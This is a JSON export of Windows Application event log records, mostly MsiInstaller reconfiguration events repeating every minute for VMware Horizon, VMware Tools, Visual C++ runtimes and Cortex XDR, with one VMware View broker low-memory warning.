{"@timestamp":1657389611295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169416}}
{"@timestamp":1657389611324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169417}}
{"@timestamp":1657389611357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169418}}
{"@timestamp":1657389611385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169419}}
{"@timestamp":1657389611429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169420}}
{"@timestamp":1657389611476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169421}}
{"@timestamp":1657389611505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169422}}
{"@timestamp":1657389671385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169423}}
{"@timestamp":1657389671434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169424}}
{"@timestamp":1657389671486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169425}}
{"@timestamp":1657389671527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169426}}
{"@timestamp":1657389671556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169427}}
{"@timestamp":1657389671586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169428}}
{"@timestamp":1657389671614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169429}}
{"@timestamp":1657389671640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169430}}
{"@timestamp":1657389671676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169431}}
{"@timestamp":1657389671703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169432}}
{"@timestamp":1657389731384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169433}}
{"@timestamp":1657389731429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169434}}
{"@timestamp":1657389731482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169435}}
{"@timestamp":1657389731526,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169436}}
{"@timestamp":1657389731555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169437}}
{"@timestamp":1657389731586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169438}}
{"@timestamp":1657389731613,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169439}}
{"@timestamp":1657389731642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169440}}
{"@timestamp":1657389731685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169441}}
{"@timestamp":1657389731714,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169442}}
{"@timestamp":1657389775694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat Jul 09 20:02:55 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":169443}}
{"@timestamp":1657389790689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169444}}
{"@timestamp":1657389790718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169445}}
{"@timestamp":1657389790769,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169446}}
{"@timestamp":1657389790810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169447}}
{"@timestamp":1657389790839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169448}}
{"@timestamp":1657389790871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169449}}
{"@timestamp":1657389790898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169450}}
{"@timestamp":1657389790925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169451}}
{"@timestamp":1657389790961,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169452}}
{"@timestamp":1657389790988,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169453}}
{"@timestamp":1657389850642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169454}}
{"@timestamp":1657389850669,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169455}}
{"@timestamp":1657389850720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169456}}
{"@timestamp":1657389850762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169457}}
{"@timestamp":1657389850791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169458}}
{"@timestamp":1657389850822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169459}}
{"@timestamp":1657389850848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169460}}
{"@timestamp":1657389850875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169461}}
{"@timestamp":1657389850911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169462}}
{"@timestamp":1657389850938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169463}}
{"@timestamp":1657389910716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169464}}
{"@timestamp":1657389910744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169465}}
{"@timestamp":1657389910798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169466}}
{"@timestamp":1657389910838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169467}}
{"@timestamp":1657389910867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169468}}
{"@timestamp":1657389910897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169469}}
{"@timestamp":1657389910924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169470}}
{"@timestamp":1657389910951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169471}}
{"@timestamp":1657389910990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169472}}
{"@timestamp":1657389911020,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169473}}
{"@timestamp":1657389971074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169474}}
{"@timestamp":1657389971108,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169475}}
{"@timestamp":1657389971171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169476}}
{"@timestamp":1657389971211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169477}}
{"@timestamp":1657389971246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169478}}
{"@timestamp":1657389971277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169479}}
{"@timestamp":1657389971304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169480}}
{"@timestamp":1657389971335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169481}}
